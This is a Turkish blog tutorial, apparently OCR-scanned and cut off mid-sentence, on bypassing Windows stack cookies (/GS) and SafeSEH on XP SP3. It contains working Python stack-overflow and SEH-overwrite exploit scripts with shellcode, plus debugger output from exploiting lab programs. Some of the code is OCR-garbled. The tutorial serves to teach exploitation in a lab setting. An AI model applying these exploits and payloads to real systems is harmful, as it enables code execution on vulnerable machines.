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SafeSEH ve Stack Cookie Korumasinin
Atlatilmasi

Bugline dek blogda yazdigim yazilarda herhangi bir koruma mekanizmasi ile
ugrasmamistik. Yani ornegin yazdigimiz exploit her zaman calisiyordu, geri donus
adreslerimiz vesaire sabitti ve bir sorun teskil etmiyordu, isimiz kolaydi. Fakat
durum aslinda Oyle degil, neticede isletim sisteminiz sizi o kadar rahat birakmamak
icin birtakim onlemler almis durumda. Biraz da bunlara yogunlasmaya karar verdim
ve sanirim bu yazi bu serinin ilk yazisi olacak.

Dedigimiz gibi, isletim sisteminiz sizi zorlamak icin bazi énlemler aliyor. Mesela
bunlari genel olarak soyle siralayabiliriz.

1. Stack Cookie
2. SafeSEH

3. ASLR

4. DEP

Genel bir bakis acgisiyla bu 4 koruma ile ilgilenip, onlari agsmaya calisacagiz
diyebiliriz. Bu ilk yazida sizlere Stack Cookie ve SafeSEH korumasinin ne oldugunu,
onlari nasil bypass edebilecegimizi gostermek istiyorum. Yazi boyunca kulladigim
sistem Windows XP SP3 olacak. Sanirim uzunca bir yazi bizi bekliyor, teknik
detaylarda bogulmadan once yaniniza ¢ay almanizi, arkaplanda didaktik olmayan
bir muzik agmanizi oneriyorum.
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Stack Cookie Korumasi Nedir ?

Hatirlarsaniz onceki yazilardan birinde fonksiyonlara girip ¢ikarken gergeklesen
birtakim islemlerden bahsetmis, bunlara function prologue ve function epilogue
isimlerinin verildiginden bahsetmistik. Prologue fonksiyon ¢agirildiginda, epilogue
ise fonksiyondan cikarken gerceklesiyordu. iste Stack Cookie korumasi derleyicide
aktif edilirse, bu iki isleme temel stack overflow zafiyetlerini engellemek icin ekstra
birtakim kontrol kodlari ekliyor. Peki bunu nasil yapiyor ?

Oncelikle programiniz calistiinda 4 byte boyuta sahip bir ana cookie olusturup, bu
cookiei .data bolumunde saklaniyor. Function prologue isleminde bu ana cookie
degeri, stackde bulunan return degeri ile yerel degiskenler arasina kopyalaniyor.
Yani stackdeki goruntu su sekilde oluyor :

Ardindan, fonksiyondan ¢ikilirken, yani epilogue islemi calistirildigi sirada bu ana
cookie degeri kontrol ediliyor. Eger bu deger bizim ana cookie degerimiz ile ayniysa
program calismaya devam ediyor, fakat eger farkliysa, yani bir sekilde stack
overflow gercgeklesip bu deger degistiyse, karsilastirma basarisiz oluyor ve cookie
dederi degistigi icin program sonlandiriliyor. Yani orneklemek gerekirse eger bir
stack overflow zafiyeti exploit edilmeye ¢alisilirsa stackdeki durum soyle olacagi
icin cookie degeri degisiyor, ve cookienin dogrulanmasi basarisiz oldugundan
mutevellit program sonlaniyor.



| Cookie | A -> Cookie'nin dederi degiSiyor

Ayrica /GS korumasinin aktif olmasi icin buffer parametresinin 5 byte ve Uzeri bir
degere sahip olmasi gerekiyor, aksi halde bu koruma performansi kot yonde
etkilememek icin aktif olmuyor. Ayrica bu koruma agildigi zaman degiskenler
uzerlerine yazilmasini engellemek amaciyla tekrar siralaniyor ve daha yuksek adres
degerlerine tasiniyor.

Peki Nasil Calisiyor ?

Oncelikle merak edenler olabilir, bu cookie degeri neye gore olusturuluyor ? Cookie
dederi bazi fonksiyonlardan donen degerlerin XOR islemine sokulmasiyla meydana
geliyor. Internet Gizerinde durumu 6zetleyen glizel bir kod parcasi buldum :

#include <stdio.h>
#include <windows.h>

int main() {
FILETIME ft;
unsigned int Cookie=0; unsigned int tmp=0;
unsigned int xptr=0; LARGE_INTEGER perfcount;
GetSystemTimeAsFileTime(&ft);
Cookie = ft.dwHighDateTime ~ ft.dwLowDateTime;

Cookie = Cookie ~ GetCurrentProcessId();
Cookie = Cookie ~ GetCurrentThreadId();
Cookie = Cookie ™ GetTickCount();

QueryPerformanceCounter(&perfcount);
ptr = (unsigned int)é&perfcount;

tmp = x(ptr+l) ~ x*ptr;

Cookie = Cookie ~ tmp;
printf("Cookie: %.8X\n",Cookie);
return 0;



by

cookieOlusumu.c GitHub

view raw

Simdi olayi iyice anlayabilmeniz adina basit bir 6rnek yapalim, ve stack cookienin

mantigini anlayalim. Oncelikle zafiyet barindiran basit bir koda ihtiyacimiz olacak,

bunun icin suradaki programin biraz duzenlenip sadelestirilmis halini kullanacagiz.

Dokiman boyunca kullanacagimiz kaynak programlara suradan ulasabilirsiniz.

Simdi, oncelikle prog! adli programda inceleme yapacagiz, derleme islemi igin

Visual C++ 2008 stirimiind kullaniyor olacagiz. Oncelikle size bu /GS korumast ile

derlenen ile /GS korumasi olmadan derlenen program arasindaki farki gostermek

istiyorum. Ilk olarak Project->Properties->Code Generation kismindaki Buffer Security

Check kismini NO yaparak derlenen programdaki pr fonksiyonu cagirildiginda

calistirilan kismi gorelim.

0:000> uf pr
004112e0@ 55
004112e1 8bec
004112e3 81ec34020000
004112e9 53
004112ea 56
004112eb 57
004112ec 66a13c474100
(0041473c)1]
0041122 6689850cfeffff
004112f9 682010000
004112fe 6200
00411300 8d850efeffff
00411306 50
00411307 e849fdffff
(00411055)
0041130c 83c40c
0041130f 8b4508
00411312 50
00411313 8d8docfeffff

push
mov
sub
push
push
push
mov

mov
push
push
lea

push
call

add
mov
push
lea

ebp
ebp, esp
esp, 234h
ebx
esi
edi

ax,word ptr [progl!’'string’

word ptr [ebp-1F4h], ax
1F2h

0

eax, [ebp-1F2h]

eax

progl!ILT+80(_memset)

esp,0Ch

eax,dword ptr [ebp+8]
eax

ecx, [ebp-1F4h]
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00411319 51 push ecx

0041131a e863fdffff call progl!ILT+125(_strcpy)
(00411082)

0041131f 83c408 add esp, 8

00411322 5f pop edi

00411323 5e pop esi

00411324 5b pop ebx

00411325 8be5 mov esp, ebp

00411327 5d pop ebp

00411328 c3 ret

Gordugunuz uzre pr fonksiyonu calistiginda standart bir sekilde, ek bir koruma
olmadan ¢agri gerceklesiyor. Simdi Buffer Security Check ayarini Yes olarak
degistirip ayni kisma tekrar goz atalim.

0:000> uf pr

004112e0@ 55 push ebp

004112e1 8bec mov ebp, esp

004112e3 81ec38020000 sub esp, 238h

004112e9 a114604100 mov eax,dword ptr
[progl!__security_cookie (00416014)]

004112ee 33cH xor eax, ebp

004112f0 8945fc mov dword ptr [ebp-4],eax

004112f3 53 push ebx

0041124 56 push esi

004112f5 57 push edi

004112f6 66a13c474100 mov ax,word ptr [progl!’'string'’
(0041473¢)1]

004112fc 66898508feffff mov word ptr [ebp-1F8h], ax

00411303 682010000 push 1F2h

00411308 6200 push 0

0041130a 8d850afeffff lea eax, [ebp-1F6h]

00411310 50 push eax

00411311 e83ffdffff call progl!ILT+80(_memset)



(00411055)

00411316 83c40c add esp,0Ch

00411319 8b4508 mov eax,dword ptr [ebp+8]

0041131c 50 push eax

0041131d 8d8de8feffff lea ecx, [ebp-1F8h]

00411323 51 push ecx

00411324 e859fdffff call progl!ILT+125(_strcpy)
(00411082)

00411329 83c408 add esp, 8

0041132c 5f pop edi

0041132d 5e pop esi

0041132e 5b pop ebx

0041132f 8b4dfc mov ecx,dword ptr [ebp-4]

00411332 33cd xor ecx, ebp

00411334 e8e@fcffff call
progl!ILT+20(__security_check_cookie(00411019)

00411339 8beb mov esp, ebp

0041133b 5d pop ebp

0041133c c3 ret

Kodlari karsilastirirsaniz /GS korumasi ile prologue islemine ilaveten yeni kontroller
geldigini goreceksiniz. Ayrica dedigim gibi /GS korumasi karsilastirmayi yapmak igin
epilogue islemine de -yani fonksiyondan ¢ikma sirasinda calisacak- ilave kodlar
ekliyor.

Basitce iki kodu karsilastiralim. Oncelikle prologue kisminda ne degisikler olmus
dersek genel olarak su kodlar ilave edildi diyebiliriz.

004112e3 81ec38020000
004112e9 a114604100 mov
[progl!__security_cookie (00416014)]
004113d3 33ch

004113d5 8945fc

sub esp, 238h

eax,dword ptr
xor eax, ebp

mov dword ptr [ebp-4],eax



Goruldugu uzre oncelikle 568 byte ayriliyor, ardindan olusturulan cookie degeri EAX
yazmacina aliniyor. Cookie EBP ile XOR'lanip, yiginda return degerinin hemen
altinda saklaniyor.

Epilogue kismina gececek olursak su degisiklikler goze carpiyor.

0041132f 8b4dfc mov ecx,dword ptr [ebp-4]
00411332 33cd xor ecx, ebp
00411334 e8e0fcffff call

progl ! ILT+20(__security_check_cookie (00411019)

Buradaysa oncelikle yiginda saklanan cookie degeri ECX yazmacina aliniyor.
Ardindan prologue’'de oldugu gibi EBP ile bir XOR islemi yapiliyor, ve son olarak
cookie'nin dogrulugunu kontrol edecek olan fonksiyon cagiriliyor. Bu dogruluk
kontrolunun ardindan eger cookie degeri degismisse program sonlandiriliyor, aksi
halde calismaya devam ediyor.

Stack Cookie Statik mi Dinamik mi ?

Simdi oncelikle /GS kapali sekilde derledigimiz programimiz i¢in exploit yazalim.
Yerelde 200 numarall portu dinleyen programa basit bir python kodu ile 1000
karakterlik bir metasploit pattern gonderelim ardindan WinDbg Uzerinde exploiting
islemini gerceklestirelim.

import struct

from socket import x

host = "localhost”
port = 200
adres = (host,port)

Baglanti = socket (AF_INET,SOCK_STREAM)
Baglanti.connect (adres)



cokertkaarsim =
"AaQAa12Af3Af4Af5AT6AT7TAT3Ag4Ag5Ag6Ag7Ag8AgIAROANTAh2Ah3AX*xxsnip

pedn

Baglanti.send(cokertkaarsim)
Baglanti.close()

Kodu ¢alistirmadan dnce kullanacagimiz Windbg icin yazilmis olan byakugan
eklentisini kurmayr unutmayin. Eklentiyi metasploit'in github sayfasinda
bulabilirsiniz. Kurdugunuzu varsayip devam ediyorum. Kodu ¢alistirdiktan sonra
program Windbg'da ¢okecek. Ardindan byakugan'i kullanarak bize gereken offset

adresini bulacagiz.

(390.a78): Access violation - code c@000005 (first chance)
First chance exceptions are reported before any exception
handling.
This exception may be expected and handled.
eax=0012e00c ebx=7ffd4000 ecx=0012ee34 edx=00000000 esi=0Q0bff790
edi=00bffb6ee eip=41387141 esp=0012e208 ebp=37714136
41387141 77 ?77?
0:000> !load byakugan
0:000> !pattern_offset 1000

[Byakugan] Control of ebp at offset 500.

[Byakugan] Control of eip at offset 504.

Gordugunuz uzre byakugan EIP yazmaci uzerine 504 bytedan sonra yazildigini
soyluyor. Simdi geriye kalan tek sey stackte yer edinecek olan shell kodumuza
atlamak icin gereken instructioni bulmak. Onu da Windbg kullanip énceki yazilarda
yaptigimiz sekilde buluyoruz. Bu 6rnegimizde ben push esp, ret metodunu

kullanacagim.

0:000> 1m
start end module name



00400000 00412000 progi
10200000 10323000  MSVCR9QD #Bu modilde arama yapacagiz
**kxsnipped*xx*
0:001> a
7¢c90120f push esp
push esp
7c901210 ret
ret
7¢901211

0:001> u 7c90120f
ntdll!DbgBreakPoint+0x1:
7¢c90120f 54 push esp
7¢901210 c3 ret
0:001> s 10200000 10323000 54 c3 #MSVCR9@D igerisinde ariyoruz.
102f0b58 54 c3 66 Of 73 d@ 20 66-0f 7e c1 81 f9 00 00 f0O
T.f.s. f.~.. ...
102f@bef 54 c3 b9 f4 03 00 00 66-0f 6e d9 66 Of 54 05 20

102f6ef5 54 c3 66 Of 2e c3 7a 15-8b 44 24 @8 c1 e8 1f dd
T.f...z..D$.....
0:001> u 102f0b58
MSVCR9@D! _libm_sse2_powf+0x208:

102f0b58 54 push esp

102f0b59 c3 ret

Netice olarak 102f@b58 adresine aradigim iki instructioni buldum. Simdi exploit'i
buna gore duzenleyip tekrar calistiralim.

import struct

from socket import x

host "localhost”

port = 200



adres =

Baglanti =

(host,port)

socket (AF_INET, SOCK_STREAM)

Baglanti.connect (adres)

boyut = 1000

cokertkaarsim = "A" % 504

cokertkaarsim += struct.pack(’'<I', 0x102f0b58) #push esp, ret
MSVCR9@D.d11

cokertkaarsim += "\x90" % 24

cokertkaarsim += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
cokertkaarsim += "\x@c\x8b\x7f\x1c\x8b\x47\x08\x8b"
cokertkaarsim += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
cokertkaarsim += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
cokertkaarsim += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
cokertkaarsim += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
cokertkaarsim += "\x45\x81\x3e\x43\x72\x65\x61\x75"
cokertkaarsim += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
cokertkaarsim += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
cokertkaarsim += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
cokertkaarsim += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
cokertkaarsim += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
cokertkaarsim += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
cokertkaarsim += "\x53\x53\x53\x53\x52\x53\xff\xd7"

cokertkaarsim += "D" * (boyut-len(cokertkaarsim )) #D'ye bakip

stackdeki kodu gorebilirsiniz.

Baglanti.send(cokertkaarsim)

Baglanti.close()

Exploiti calistirdiginizda ¢cokme gerceklesecek ve bizim unlu hesap makinesi sizi
karsilayacaktir. Buraya kadar tamam, bilinen stackoverflow acigini exploit ettik.
Simdi asil konuya girelim, evet, buraya kadar aslinda asil konumuzda bile degildik,
yalnizca yine bir programin exploit edilisini inceledik! Oncelikle bu cookie
dederinin statik olup olmadigini bir test edelim. Acaba program her acildiginda bu



cookie degeri ayni mi oluyordur ? Ne diyorsunuz ?

Simdi yapacagimiz sey ayni expoiti bu defa /GS korumasi acik olan programimizda
denemek! Hadi bakalim ne olacak.

=

seh.exe has encountered a problem and needs to close.
We are zony for the inconvenience.

If pou were in the middle of zomething, the information you were working on
might be lozt,

Pleasze tell Microsolt about this problem.

YW have created an emor report that you can send to us. We will treat
thiz report a= confidential and anonymous.

To zee what data thiz emar report containg, click here,

Send Ermor Report Daon't Send

Gordugunuz gibi program crash oldu fakat exploitimiz calismadi. Simdi neler olup
bittigini inceleyelim bakalim. Oncelikle bunun icin bizim stack cookie kontrol
edildigi sirada kullanilan fonksiyona breakpoint koyalim.

0:000> bp progl!__security_check_cookie
0:000> bl
0 e 00411650 0001 (0001) Q:xxxx

progl!__security_check_cookie

Programi ve akabinde exploiti calistirdigimizda program cookie'nin karsilastirildigi
kisimda duracak. Simdi cookie degerimizi 6grenelim bakalim neymis ?

Breakpoint 0 hit

eax=0012e004 ebx=7ffd6000 ecx=4153a0bd edx=00000000 esi=00796b12
edi=00bef554 eip=00411650 esp=0012dfcO ebp=0012el1fc
progl!__security_check_cookie:

00411650 3b0d00604100 cmp ecx,dword ptr
[progl!__security_cookie (00416000)] ds:0023:00416000=376ba7b6



0:000> dd 00416000
00416000 376ba7b6 c8945849 00000000 00000000
00416010 fffffffe 00000001 ffffffff ffffffff
00416020 00000000 00000000 00VVVVV0 00000000

Buradan anliyoruz ki bizim cookie degerimiz 376ba7b6. Simdi ayni adimlari tekrar
ederek cookie degerinin degisip degismedigini sinayalim. Programi ve exploiti
tekrardan calistiriyoruz.

Breakpoint 0 hit
eax=0012e004 ebx=7ffdc000 ecx=4153a0bd edx=00000000 esi=00796b12
edi=00bef554 eip=00411650 esp=0012dfc@® ebp=0012elfc
progl!__security_check_cookie:
00411650 3b0d00604100 cmp ecx,dword ptr
[progl!__security_cookie (00416000)] ds:0023:00416000=a6a86570
0:000> dd 00416000

00416000 a6a86570 59579a8f 00000000 00000000

00416010 fffffffe 00000001 ffffffff ffffffff

00416020 00000000 00000000 00000000 00000000

00416030 00000000 00000000 00000000 00000000

Bu defa cookie degerimiz a6a86570 olmus. Bu demektir ki stack cookie korumasi
olan bir programi exploit ederken programi inceleyip, cookie degerini not edip
exploiti ona gore yazmak bir seyi degistirmiyor ¢unku cookie degeri aslinda dinamik
bir deger ve program her ¢alistiginda bu deger degisiyor. Fakat yine de bu durumla
ilgili istisnai bir guvenlik bildirisi de yok degil. (MS06-040)

Exception Handler Yardimiyla Stack Cookie
Korumasini Atlatmak

Oncelikle bu olayi teoride biraz aciklayalim. Bir hata olusumunu kullanarak Stack
cookie nasil atlatilabilir ki ? Soyle dusunun, exploitiniz calismak icin ilerliyor. Ve
fonksiyondan cikis yani epilogue islemleri gerceklestigi sirada bir de stack cookie
denetleniyordu, degil mi ? Peki ya bu cookie dogrulanmadan dnce bir hata meydana



gelirse ? Ve siz o hata uzerinden SEH kullanarak programin akisini dilediginiz yere
yonlendirirseniz ? Sanirim anladiniz. Oldukca basit fakat etkili bir yontem. Bu
yontemi uygulamak icin yine kullandigimiz programi degistiriyor ve igerisinde iki
adet strcpy olan bir program kullaniyoruz. Bu sayede SEH Uzerine yazabilecegiz ve
SEH kullanarak bypass yapabilecegiz. Programi 6nceki indirme linki ile indirdiginiz
dosya icerisinde sbypass ismi ile bulabilirsiniz.

Exploitin Yazilmasi

Programin zafiyet iceren kaynak kodu su sekilde gosterilebilir.

void seh(char *recvbuf) {
char sendBuf[512];
_try
{
strcpy(sendBuf, recvbuf);
if (sendBuf[0] == "\x41") {
//Var olmayan adrese yazmaya calisarak
//bi exception olusturuluyor
int* p = 0x00000000;

*p = 'IQ’
}
3
_except (EXCEPTION_EXECUTE_HANDLER)
{
printf("Inside Exception Handler”);
}

Gordugunuz uzre zafiyete sebebiyet veren strcpy() fonksiyonu var ve herhangi bir
uzunluk kontrolt yapilmamis. Simdi programi header bilgisinde yazdigi bicimde
derleyelim ardindan exploit islemine gecelim. Oncelikle programi Windbg ile
aclyoruz acarken Simdi programimiza su python scriptini temel olarak kullanarak
1000 tane A karakteri gonderelim bakalim.



#!/usr/bin python
# -*- coding:utf-8 -x-

import struct

from socket import x

"localhost”
8888
adres = (host,port)

host
port

Baglanti = socket (AF_INET,SOCK_STREAM)
Baglanti.connect (adres)

cokertkaarsim = "A" x 1000

Baglanti.send(cokertkaarsim)
Baglanti.close()

Gondermeden once tabii ki programi Windbg ile agiyoruz. Ardindan programi g
komutu ile calistirip paketi gonderiyoruz. Akabinde ¢cokme gerceklesecek ve biz de
seh’in durumunu kontrol edecegiz.

(740.e74): Access violation - code c@000005 (first chance)

First chance exceptions are reported before any exception
handling.

This exception may be expected and handled.

eax=00000000 ebx=7ffdf000 ecx=0035449c edx=00000041 esi=01f6f798
edi=01f6f6ee eip=5353105f esp=0012fb80 ebp=0012fda8
image53530000+0x105f :

5353105f c7000a000000 mov dword ptr [eax],@Ah

0:000> !exchain
0012fd98: 41414141
Invalid exception stack at 41414141



Goruldugu uzre EIP Gzerinde hakimiyetimiz olmasa da SEH Uzerine yazmayi
basardik. Bu da demektir ki buradan yururuz hehe. Simdi, yavas yavas bypass
edilmesi kismina gelmeye calisiyorum fakat agiklanmasi gereken yerler ¢ok fazla bu
yuzden bir turlu gelemedim. Burada SEH'in neler yaptigini anlamak isteyen
arkadaslarimiz onceki SEH yazisina bakabilirler, yahut yorum ile anlamadiginiz
kisimlari belirtirseniz yardimci olmaya cabalarim. Onceki yazida SEH'in nasil
devreye girdigini, Uzerine yazdigimizda ne elde ettigimizi, SEH'i kullanarak nasil
program akisini degistirebilecegimizi ve buna benzer diger seyleri 6grenebilirsiniz.
Yine de genel olarak SEH Uzerine yazildiginda neler oldugunu kisaca bir resim

uzerinde gorelim.

Hewx Disass Ly Conment # Re ters [(FPU) < < <
] A E EF|

4 bute dbyte rguman kopyalan ivor

4
41414141

Burada resimde gordugunuz uzre strycpy() bizim SE Handler Uzerine yaziyor.
Stack'e bakarsaniz yazmaya devam ettigimiz taktirde SEH'in Gzerine yazdigimiz icin
tamamen degisecegini gorebilirsiniz. Bu da demektir ki programin akigini
yonlendirebiliriz. Bunun ardindan kaynak kodun igerisindeki hatali pointer kullanimi
geliyor. Bakalim:

MOV DWORD PTR SS:[EBP-21C],0

MOV EAX,DWORD PTR SS:[EBP-21C]

MOV DWORD PTR DS:[EAX], @A



verisi yazilmaya c¢aliSiliyor

Goruldugu gibi, EAX registerina alinan 00000000 adresine bir veri saklanmaya
calisiliyor. Haliyle program burada ¢okuyor ve istisna olustugu i¢in exception
handler devreye giriyor.

Simdi yavas yavas SEH kullanarak Stack Cookie korumasinin atlatilmasi kismina
giris yapiyoruz. Oncelikle bu programin SEH exploitinin yazalim, ardindan programi
/GS korumasi ile derleyip oradan devam edecegiz. (Unutmadan ekleyeyim, programi
/SAFESEH:NO olarak derliyoruz, aksi halde exploit edemeyiz! Simdilik tabii.) SEH
exploitini yazabilmek adina dncelikle metasploit yahut Immunity debugger ile 1000
karakter uzunlugunda bir pattern olusturalim, ardindan bunu python scriptimize
ekleyelim ve akabinde Windbg yardimiyla debug ederek !exchain komutu ile SEH
uzerine yazilan degerin byakugan eklentisi yardimiyla offsetini bulalim.
(Kutuphanedeki bayan, lutfen ekranima bakmayi birakin, utaniyorum. Sevgiler.)

0:000> g
(f94.1a8): Access violation - code c@000005 (first chance)
First chance exceptions are reported before any exception
handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=35724134 edx=7c9032bc esi=00000000
edi=00000000 eip=35724134 esp=0012f3e0 ebp=0012f400
35724134 77 ?77?

0:000> !exchain

0012f3f4: ntdll!ExecuteHandler2+3a (7c9032bc)

0012f7c4: ntdll!ExecuteHandler2+3a (7c9032bc)

0012fd98: 35724134

Invalid exception stack at 72413372
0:000> !pattern_offset 1000

[Byakugan] Control of ecx at offset 524.

[Byakugan] Control of eip at offset 524.

520 bayttan sonrasi SE handler Uzerine yaziyor demek ki. Onun ardindan da Next



SEH geliyor. Klasik SEH exploitlerinde nasil oluyordu hatirlamaya calisin. Biz SE
Handler Uzerine pop pop ret tc¢lisunl, Next SEH Uzerine de shellcodea atlayacak
jmp instructionini yaziyorduk degil mi ? Pekala, o zaman haydi yapalim bakalim.
Oncelikle 06 byte jump kodumuzun opcodeu eb @6 idi. Bunu su sekilde hex halinde
ve iki nop ekleyerek yaziyorduk. \xeb\x06\x90\x9@ Simdi bir de pop pop ret
uclusund bulmamiz gerek. Bunun icin Immunity Debugger'da CTRL+S kisayolu ile
(Find Sequence of commands) pop r32 pop 32 ret seklinde bir arama yapalim.

Addre Hew dump Disassembly Comren &

Find sequence of commands

Hint: 'BA" and 'RB' match B32, BMHT n' matches 0.n commandz

[v Ertire block Fird I Carcel |

Goruldugu Uzere program 535313C8 adresinde pop pop ret uclisuni buldu. Bu
degerler kaynak koda bakarsaniz eger inline assembly ile eklenen degerler. Bu
dederleri exploit yazmak i¢in kullaniyoruz. O halde exploitmizin govdesi su sekilde
olacak demektir:

cokertkaarsim = "A" * 520
cokertkaarsim += "\xeb\x06\x90\x90"

cokertkaarsim += struct.pack('<I', 0x535313c8)

cokertkaarsim += "\x90" * 24
cokertkaarsim += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"

cokertkaarsim += "\x@c\x8b\x7f\x1c\x8b\x47\x08\x8b"
cokertkaarsim += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
cokertkaarsim += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
cokertkaarsim += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"



cokertkaarsim += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
cokertkaarsim += "\x45\x81\x3e\x43\x72\x65\x61\x75"
cokertkaarsim += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
cokertkaarsim += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
cokertkaarsim += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
cokertkaarsim += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
cokertkaarsim += "\xbT1\xff\x53\xe2\xfd\x68\x63\x61"
cokertkaarsim += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
cokertkaarsim += "\x53\x53\x53\x53\x52\x53\xff\xd7"

Exploiti calistirdiktan sonra hesap makinesinin ¢alisacagini gorebilirsiniz. Immunity
debugger Uzerinde pop pop ret adresinize breakpoint koyarsaniz ve ardindan kodu
incelerseniz olanlari daha detayli gérebilirsiz. Ornegin asagidaki sekilde pop pop
ret uclusune gelmis durumdayiz, iki pop instructionu ardindan ret ile stackden
bizim 06 byte jump kodumuzu EIP'e alarak shellcodedan devam edecek.

POF EEF
POP EEP

POP EBP

Stack Cookie Korumasinin SEH ile Atlatilmasi

Pekala, simdi exploiti de yazdik. Simdi programi tekrar derliyoruz, fakat bu defa
/GS- secenegdini cl'den kaldiriyoruz. Bu sayede stack cookie korumasi aktif olacak.
Ardindan az once kullandigimiz exploit'i tekrardan calistiriyoruz. Calistirdik mi ?
GCalismadi. Evet, bir seyler degisti demek ki. Simdi bunun Gzerine konusalim biraz
da. Ardindan bu exploiti /GS korumasini atlatacak sekilde duzenleyelim. Simdi bu
konuda soyleyeceklerim sizi biraz sasirtabilir, lakin bunca sey okudunuz fakat bu
korumayi ge¢mek icin aslinda yapilmasi gereken sey ¢ok basit. Yapmamiz gereken
tek sey exploiti yeniden yazmak. Degisen adresleri tekrar diizeltmek, bu kadar!
Fakat, benim icin asil dnemli olan bunun nasil oldugunu size anlatabilmek. Yani bu
yazi aslinda cok kisa bir sekilde de bu olayi anlatabilirdi. iki exploit koyup



karsilastirin diyerek de bu acigi anlatabilirdim, fakat o zaman biraz ezberci sisteme
uyuyoruz. Ben mantigini tam olarak anlatabilmeyi umuyorum.

Neyse, simdi bu nasil boyle oldu ? Aslinda olan sey sahiden basit bir mantik Gzerine
kurulu. Oncelikle programin kaynak kodunu hatirlayalim:

void seh(char *recvbuf) {
char sendBuf[512];
_try
{
strcpy(sendBuf, recvbuf);
if(sendBuf[0] == "\x41") {
//Var olmayan adrese yazmaya calisarak
//bi exception olusturuluyor
int* p = 0x00000000;

*p = ']@’
}
}
_except (EXCEPTION_EXECUTE_HANDLER)
{
printf("Inside Exception Handler”);
}

Simdi, stack cookie korumasi nasil calistyordu ? Fonksiyonun giris ve ¢ikisina
birtakim kontroller koyuyordu degil mi ? Baska cookie'yi stackte sakliyor,
fonksiyondan cikarken de dogrulugunu kontrol ediyordu. Eger dogruysa program
devam ediyor, bozulmussa bir exploiting denemesi oluyor diyor ve programi
sonlandiriyordu. Peki, ya fonksiyondan cikis gerceklesmeden once fonksiyondan
cikilirsa ? Bu sayede cookie kontroliini atlamis olmaz miyiz ? Aynen dyle. iste bu
bypass yonteminin mantigi budur. Bakin strycpy() fonksiyonundan sonra bir
exception olugmasi icin var olmayan bir adrese tanimlama yapmaya calistik. Bu
sayede fonksiyondan ¢ikmadan evvel SEH devreye girdi, biz de SEH'i kontrol
edebildigimiz icin programin akisini degistirdik.

Simdi az onceki adimlari tekrarlayarak exploiti bastan yazabilirsiniz. Bunu ben



yazmiyorum buraya lakin ¢ok fazla uzayacak yazi, bu nedenle siz yaparsaniz hem
sizin icin hem yazinin uzunlugu adina daha faydali olacak. Ben yine de /GS acik iken
gerekli olan exploit'in degisen kisimlarini buraya yaziyorum, fakat kendiniz bunu
bulmaniz sizin icin ¢cok daha yararli olacaktir.

cokertkaarsim = "A" % 528 #520 -> 528
oldu

cokertkaarsim += "\xeb\x06\x90\x90"

cokertkaarsim += struct.pack(’'<I', 0x535313c8)  #0x535313¢c8 ->
0x535313f8 oldu

Su kisacik kod parcasinin mantigini anlatabilmek adina bolca seyler yazdim, umarim
buraya kadar yararli olmustur. Fakat, hentz bitmedi. Caylar tazeleyin, muzigi daha
sakin bir muzige alin; devam ediyoruz...

SafeSEH Nedir ?

Evet, simdi sira SafeSEH arkadasimiza geldi. Buraya kadar gordugunuz Uzere ¢cogu
koruma birbirine bagli bir iplik gibi. Stack Cookieleri gegmek icin SEH tabanli
exploit yontemini, SEH'i exploit etmek icin Stack tabanli exploit etme yontemini
bilmeniz gerekiyor gibi. SafeSEH dedigimiz arkadas da bu durumu aynen devam
ettiriyor. Isminden de anlasilabilecegi gibi bu koruma SEH exploitleri engellemek
amaciyla gelistirilmis bir koruma. Bu koruma calistirilabilir dosyalarda, dll
dosyalarinda kullanilabiliyor.

Temel mantigi yine oldukga basit, bu korumayi aktif ettiginizde dosyanizin igine
bilinen exception handlerlarin listesi tutulmaya baslaniyor, ve bir exception
olustugunda SEH zinciri icerisindeki adresler ntdl1l.d11 icerisinde bulunan
exception dispatcher araciligiyla bu liste ile karsilastiriliyor. Bu sayede bilinmeyen
bir adresteki handler ¢alistirilmamis, haliyle exploit engellenmis oluyor. Dedigimiz
gibi, bu kontrolleri ntd1l1.d11 icerisindeki KiUserExceptionDispatcher
fonksiyonu gerceklestiriyor, ayrica bu fonksiyon exception handler'da bulunan
kodun stack'i gosterip gostermedigini de kontrol ediyor, bu sayede direk olarak
shellcodea atlamayi da engelliyor. Bu kontrolu ise TEB yapisini kullarak yapiyor, TEB



yapisindan stack'in en Ust ve en alt adres degerlerini alarak exception handler
adresinin bu aralikta olup olmadigini kontrol ediyor. Yani exception handler adresi
stacki gosteriyorsa boylece calismasi engellenmis oluyor. Peki ya bu adres yuklenen
modullerin disinda ve SafeSEH korumasi kapali ise ne oluyor ? iste o zaman bir sey
olmuyor. Biz de bu kic¢uk ayrintiyr kullanacagiz birazdan.

Simdi, SafeSEH'i gecebilmek icin bazi yontemler mevcut onlara bir g6z atalim
bakalim.

SafeSEH Korumasinin Atlatilmasi

Bir program calistiginda dogal olarak onun kullandigi moduller de hafizaya alinir.
SEH exploitlerini calistirirken bildiginiz Uzere bu modullerde yahut programin
kendisinde pop pop ret Uclusunu bularak somurme islemini gerceklestiriyorduk.
Isin icine SafeSEH girince isler degisiyor, lakin bu modiiller ve program SafeSEH
korumali oldugu zaman bahsettigimiz kontroller ylizinden exploiti calistiramiyoruz.
Fakat, pop pop ret Uclistini yalnizca buralarda aramak zorunda degiliz. Ornegin
yine hafizada olan bir sistem modiliinde bu adresleri bulabiliriz. Ornegin Windows
XP Uzerinde hafizada olan bir modilde de bu adresi bulabiliriz, ve eger o modul
